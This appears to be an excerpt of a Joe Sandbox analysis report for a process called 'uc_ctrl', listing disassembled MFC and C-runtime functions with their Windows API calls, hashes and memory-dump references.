Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$Rect$Client$FocusParentScreenWindow
String ID:
API String ID: 4216724418-0
Opcode ID: ed15bcbf9e7c107a3b7590887c40c41cf229fc79c98e7229dc93f566a0edd0a6
Instruction ID: db5e63701a8b8cec099aa0537b7179a0c6161e4286155ea8b55cb680efd46138
Opcode Fuzzy Hash: ed15bcbf9e7c107a3b7590887c40c41cf229fc79c98e7229dc93f566a0edd0a6
Instruction Fuzzy Hash: 7C51C332A01645ABDF149FA0C864BEE7776EF48308F200029ED15EBB90DBB4ED51CB95

Function 6CEFAFE8 Relevance: 12.1, APIs: 8, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 6CEFB02C
BeginDeferWindowPos.USER32(00000008), ref: 6CEFB042
GetTopWindow.USER32(?), ref: 6CEFB054
GetDlgCtrlID.USER32(00000000), ref: 6CEFB05D
SendMessageW.USER32(00000000,00000361,00000000,00000000), ref: 6CEFB095
GetWindow.USER32(00000000,00000002), ref: 6CEFB09E
CopyRect.USER32(?,?), ref: 6CEFB0B9
EndDeferWindowPos.USER32(00000000), ref: 6CEFB145

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Window$DeferRect$BeginClientCopyCtrlMessageSend
String ID:
API String ID: 1228040700-0
Opcode ID: c6f34408a6e103ac28a67fa60231e9ed45bbd2eccc61f6c1bcff65e3e2f51c4c
Instruction ID: df89717b94660aba0a6df006bd81bfa717e83c27d10514130c36a32acacba604
Opcode Fuzzy Hash: c6f34408a6e103ac28a67fa60231e9ed45bbd2eccc61f6c1bcff65e3e2f51c4c
Instruction Fuzzy Hash: DB514872D00209DFCF11CFA4C984BEEB7B8FF4A318F24405AE825AB640D774A942CB65

Function 6CF1AF76 Relevance: 12.1, APIs: 8, Instructions: 109windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF1AF7D
SendMessageW.USER32(?,0000113E,00000000,?), ref: 6CF1AFBF
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 6CF1AFDF
SHGetDesktopFolder.SHELL32(?), ref: 6CF1AFFE
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 6CF1B030
SendMessageW.USER32(?,00001115,00000000,?), ref: 6CF1B071
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 6CF1B07F
RedrawWindow.USER32(?,00000000,00000000,00000105), ref: 6CF1B08F

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: MessageSend$DesktopFolderH_prolog3RedrawWindow
String ID:
API String ID: 1930222516-0
Opcode ID: cfb34b8a93209991ff1e81b12463e04064ff11c88df4631fedc3ad9e658ab9f6
Instruction ID: cc9bbdc14482d3b81b837a4dcc8242de5a6a178058746853d5b59dab5a3043de
Opcode Fuzzy Hash: cfb34b8a93209991ff1e81b12463e04064ff11c88df4631fedc3ad9e658ab9f6
Instruction Fuzzy Hash: 96416071A04209EFDB15DFA0CD84F9EBB79FF09748F144118FA05A7690E7319905CBA1

Function 6D1A6DB0 Relevance: 12.1, APIs: 8, Instructions: 94fileCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000034), ref: 6D1A6DD2
memset.VCRUNTIME140(?,00000000,00000034,?,00000000,00000034), ref: 6D1A6DDE
CreateFileW.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 6D1A6DF9
GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6D1A6E0B
CloseHandle.KERNEL32(?,00000000), ref: 6D1A6E18
CreateFileW.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 6D1A6E2B
GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6D1A6E3D
CloseHandle.KERNEL32(?,00000000), ref: 6D1A6E4A

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: FileHandle$CloseCreateInformationmemset
String ID:
API String ID: 2456596185-0
Opcode ID: 396b038fdfcdff89aaa754129271a04fe17f728169e654626614a76cdef1f243
Instruction ID: fa81fa0492553317291760e91133dbe296324cd3c7f260ac7955c2cbb7ff1cda
Opcode Fuzzy Hash: 396b038fdfcdff89aaa754129271a04fe17f728169e654626614a76cdef1f243
Instruction Fuzzy Hash: 0F31A07194525CAFEB01EBE8DC80BBEBBBCEF12754F448114F564AB184D7A05E0487A0

Function 6D1CA9E2 Relevance: 12.1, APIs: 8, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6D1CAA0C
dllmain_crt_dispatch.LIBCMT ref: 6D1CAA23
__telemetry_main_invoke_trigger.VCRUNTIME140(?,?,00000001,?,?,00000001,?,6D1D3AA0,0000000C,6D1CAB3C,?,00000001,?), ref: 6D1CAA3B
dllmain_crt_dispatch.LIBCMT ref: 6D1CAA68
dllmain_raw.LIBCMT ref: 6D1CAA72
__telemetry_main_return_trigger.VCRUNTIME140(?,?,00000001,?,?,00000001,?,?,00000001,?,6D1D3AA0,0000000C,6D1CAB3C,?,00000001,?), ref: 6D1CAA85
dllmain_crt_dispatch.LIBCMT ref: 6D1CAA99
dllmain_raw.LIBCMT ref: 6D1CAAAC

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: dllmain_crt_dispatchdllmain_raw$__telemetry_main_invoke_trigger__telemetry_main_return_trigger
String ID:
API String ID: 2136405172-0
Opcode ID: a9e008ec792f83315069128fa60a75e6b0a76a97d14136862c5328019a7d6700
Instruction ID: 71fe71ede5434c23ebb393a7e1e52a0b189c00c46f362a085f445bb62403ee4b
Opcode Fuzzy Hash: a9e008ec792f83315069128fa60a75e6b0a76a97d14136862c5328019a7d6700
Instruction Fuzzy Hash: B421CF72D05666BBCB238F648E40D7F3A39AF75B50B024508FA2167109C7BCC8118BE2

Function 6D1A81D0 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A81D7
_lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6D1BAB8A,00000000,00000000,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?), ref: 6D1A81E0
_realloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000004), ref: 6D1A8209
Concurrency::cancel_current_task.LIBCPMT(?,00000004), ref: 6D1A8215
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6D1A8288

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_Concurrency::cancel_current_taskH_prolog3Lockit@std@@_lock_locales_realloc_base
String ID:
API String ID: 1881110701-0
Opcode ID: 86a97499538ed8b835cd6edb31b414dff6da0063cf40aacfe063a2670d278f53
Instruction ID: 879fe5e9e7ae92247b777b1d0e68bcbd48a034bebc0a6e301e03bbb307017073
Opcode Fuzzy Hash: 86a97499538ed8b835cd6edb31b414dff6da0063cf40aacfe063a2670d278f53
Instruction Fuzzy Hash: DA215938A04A66DFDB04EF68C850A6CB7B1FF49314F15805AD926AB394CBB5ED50CF81

Function 00B36610 Relevance: 12.1, APIs: 8, Instructions: 67COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00B351B0,00000000,?,?,?,?,?,?,?,00000000,?,?,80070057), ref: 00B36628
_invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00B351B0,00000000,?,?,?,?,?,?,?,00000000,?,?,80070057), ref: 00B36634

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID:
API String ID: 2959964966-0
Opcode ID: 675c7f4a2d80661d3419bf1ba779eec521c27c55fa028d7434098eafd865b652
Instruction ID: f56cd077db358e86b4bfdfc2588f1b82d732f143f510279e1789deb49e3ca836
Opcode Fuzzy Hash: 675c7f4a2d80661d3419bf1ba779eec521c27c55fa028d7434098eafd865b652
Instruction Fuzzy Hash: ED0184732002146FEB212BDDFC857DEBB9CEBA5375F21407AF60CD7210CA76481086A1

Function 6CEEAACA Relevance: 12.1, APIs: 8, Instructions: 61memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(00000000), ref: 6CEEAADE
lstrcmpW.KERNEL32(00000000,?), ref: 6CEEAAEF
OpenPrinterW.WINSPOOL.DRV(?,?,00000000), ref: 6CEEAB04
DocumentPropertiesW.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 6CEEAB24
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 6CEEAB2C
GlobalLock.KERNEL32(00000000), ref: 6CEEAB36
DocumentPropertiesW.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 6CEEAB47
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 6CEEAB5F

Part of subcall function 6CEF210F: GlobalFlags.KERNEL32(?), ref: 6CEF211C
Part of subcall function 6CEF210F: GlobalUnlock.KERNEL32(?,?,6D12A734,?,6CF27A20,6D12A734,6D056178,?,?,6CF4FA72,6CF207E2,00000000), ref: 6CEF212A
Part of subcall function 6CEF210F: GlobalFree.KERNEL32(?), ref: 6CEF2136

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: e2ffdb8c908b174b7c4f8b3947df7ae3a07551449dc91bda811c99616401636c
Instruction ID: bdc2bf762748fbbec11d2e8cbd8339bdb6f7067407b9ffbeef62de441d583679
Opcode Fuzzy Hash: e2ffdb8c908b174b7c4f8b3947df7ae3a07551449dc91bda811c99616401636c
Instruction Fuzzy Hash: 05118271541608BFEB12AFA0CD45E6B7EBDEF08688B10052DFA1196530DB719D50EB20

Function 00B34810 Relevance: 10.7, APIs: 7, Instructions: 232COMMON

Download Yara Rule

APIs

wcsstr.VCRUNTIME140(?,?,?,?,?), ref: 00B34895
wcsstr.VCRUNTIME140(?,?), ref: 00B348AA
wcsstr.VCRUNTIME140(?,?), ref: 00B34954

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: wcsstr
String ID:
API String ID: 2735924446-0
Opcode ID: ee1690ad36282a9886a91ef830d9072db203565404505b4b308a93a4519e1d98
Instruction ID: 8fcb09e77dbbe53b5f3d51cc661261eb456ce0fc85d9365cc843215544011bcd
Opcode Fuzzy Hash: ee1690ad36282a9886a91ef830d9072db203565404505b4b308a93a4519e1d98
Instruction Fuzzy Hash: BE718B35E0021ADFCF14DFA8D985AAEB7F5EF88300F2545A9D945A7214EB70BE14CB90

Function 6CF1697F Relevance: 10.7, APIs: 7, Instructions: 214COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF16986
GetClientRect.USER32(?,?), ref: 6CF169B1
SetCapture.USER32(?), ref: 6CF169DB

Part of subcall function 6CF18A7B: IsRectEmpty.USER32(?), ref: 6CF18AA3
Part of subcall function 6CF18A7B: InvertRect.USER32(?,?), ref: 6CF18AB1
Part of subcall function 6CF18A7B: SetRectEmpty.USER32(?), ref: 6CF18AC3

SetCapture.USER32(?), ref: 6CF16A2D
PtInRect.USER32(?,?,?), ref: 6CF16B16
GetCapture.USER32 ref: 6CF16B3F
ReleaseCapture.USER32 ref: 6CF16B49

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$Capture$Empty$ClientH_prolog3_InvertRelease
String ID:
API String ID: 3834698328-0
Opcode ID: 13f215f3e7448d967606ba26d2559df25d9db575f54144c616e1291d80cbbb66
Instruction ID: 56a82c0cbf5c45e77499edb48fbcf52562cda2f0ddc12a3fd24e9705249cf3b1
Opcode Fuzzy Hash: 13f215f3e7448d967606ba26d2559df25d9db575f54144c616e1291d80cbbb66
Instruction Fuzzy Hash: 3B816932A052159BCF06DFA4C984AEDBBB6FF48308F15446DFC15ABB90DB31AA05CB50

Function 6CF1C4E4 Relevance: 10.7, APIs: 7, Instructions: 192windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF1C4EB
GetClientRect.USER32(00000000,00000000), ref: 6CF1C53D

Part of subcall function 6CEF5025: __EH_prolog3.LIBCMT ref: 6CEF502C
Part of subcall function 6CEF5025: GetDC.USER32(00000000), ref: 6CEF5058

Part of subcall function 6CEF62A8: SelectObject.GDI32(?,00000000), ref: 6CEF62C8
Part of subcall function 6CEF62A8: SelectObject.GDI32(?,00000000), ref: 6CEF62DE

SendMessageW.USER32(00000000,00000030,?,00000000), ref: 6CF1C597
GetTextMetricsW.GDI32(?,?), ref: 6CF1C5A4
GetParent.USER32(00000000), ref: 6CF1C684
SendMessageW.USER32(00000000,00000030,?,00000000), ref: 6CF1C6AE
__EH_prolog3.LIBCMT ref: 6CF1C6D4

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3MessageObjectSelectSend$ClientH_prolog3_MetricsParentRectText
String ID:
API String ID: 3349635734-0
Opcode ID: 69c750441c5b988a448942d411fd3d8c5c3364b586b21f0d5cc72dab2ffd712a
Instruction ID: a5bc4b4c72c154afadee3a784ea2ef4314bf4e4883bc32cc06b7f203693c007f
Opcode Fuzzy Hash: 69c750441c5b988a448942d411fd3d8c5c3364b586b21f0d5cc72dab2ffd712a
Instruction Fuzzy Hash: 4661C572A006169FDF15DFA8CC94BEEB7B5BF48304F154278D919AFA84DB30A905CB50

Function 6CF8C553 Relevance: 10.7, APIs: 7, Instructions: 174windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF8C55D

Part of subcall function 6CFBA1DF: __EH_prolog3.LIBCMT ref: 6CFBA1E6

GetMenuItemCount.USER32(?), ref: 6CF8C5C1
GetMenuItemID.USER32(?,00000000), ref: 6CF8C5DB
GetMenuItemCount.USER32(?), ref: 6CF8C629
GetMenuItemID.USER32(00000000,00000000), ref: 6CF8C65B
SendMessageW.USER32(?,00000234,00000000,00000000), ref: 6CF8C6C0
GetMenuState.USER32(00000001,00000000,00000400), ref: 6CF8C723

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Menu$Item$Count$H_prolog3H_prolog3_MessageSendState
String ID:
API String ID: 999183886-0
Opcode ID: 8cec0abef82e6c3778996e6811f6fedb3f5cdde598b9313637eef626668778c6
Instruction ID: 9838101a35eb16188b1538531316706c590b559e0c7f8dd74479ac8decd67f70
Opcode Fuzzy Hash: 8cec0abef82e6c3778996e6811f6fedb3f5cdde598b9313637eef626668778c6
Instruction Fuzzy Hash: 2E6197709422169BDF25DF24CC44BEDB7B4BF09718F2043A9E929A7AD0DB709A85CF44

Function 00B37590 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,7FFFFFFE,?,?), ref: 00B3766E
memcpy.VCRUNTIME140(80004005,\config\config.ini,?,00000000,?,7FFFFFFE,?,?), ref: 00B3767E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?), ref: 00B376C9
memcpy.VCRUNTIME140(00000000,?,7FFFFFFE,?,?), ref: 00B376D1
memcpy.VCRUNTIME140(80004005,\config\config.ini,?,00000000,?,7FFFFFFE,?,?), ref: 00B376DF

Strings

\config\config.ini, xrefs: 00B37676, 00B376D7

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturn
String ID: \config\config.ini
API String ID: 2665656946-1549633339
Opcode ID: c390cde5f21db81b4cd48162a78925d083eb4344e7084513541f31fd8e2ccfdf
Instruction ID: b4f8b2ea23235d17a98452831f42dbc2a7d4873b235a58338854f43041207e35
Opcode Fuzzy Hash: c390cde5f21db81b4cd48162a78925d083eb4344e7084513541f31fd8e2ccfdf
Instruction Fuzzy Hash: C741C3B2A045159BCB29DF6CDC828AEB7E5EF89310F3106AAE411E7251DF709A118B91

Function 6D1ACF90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1ACF97

Strings

, xrefs: 6D1AD0E1

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_
String ID:
API String ID: 2427045233-3916222277
Opcode ID: 6f65dbde65ab6551ba4eb0fcdf6f365b5448d46d4e79bcef794c678a73c3ea41
Instruction ID: 58b894d8aa7f35f66df3b3e51a6638f2e64dddcdffe3d981c1aff4d098f021e8
Opcode Fuzzy Hash: 6f65dbde65ab6551ba4eb0fcdf6f365b5448d46d4e79bcef794c678a73c3ea41
Instruction Fuzzy Hash: DE51D379904616DFDF14CF94D890AFDB7F1FF88320F588419E981A7284EBB1A941CB61

Function 6CF12AAA Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 148COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6CF12AB1

Part of subcall function 6CF0A22E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 6CF0A243

Part of subcall function 6CF546CA: __EH_prolog3.LIBCMT ref: 6CF546D1

Part of subcall function 6CF5602D: __EH_prolog3.LIBCMT ref: 6CF56034

Strings

MFCMaskedEdit_ValidChars, xrefs: 6CF12C1C
MFCMaskedEdit_DefaultChar, xrefs: 6CF12B9C
MFCMaskedEdit_InputTemplate, xrefs: 6CF12B60
MFCMaskedEdit_SelectByGroup, xrefs: 6CF12AED
MFCMaskedEdit_Mask, xrefs: 6CF12B28

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

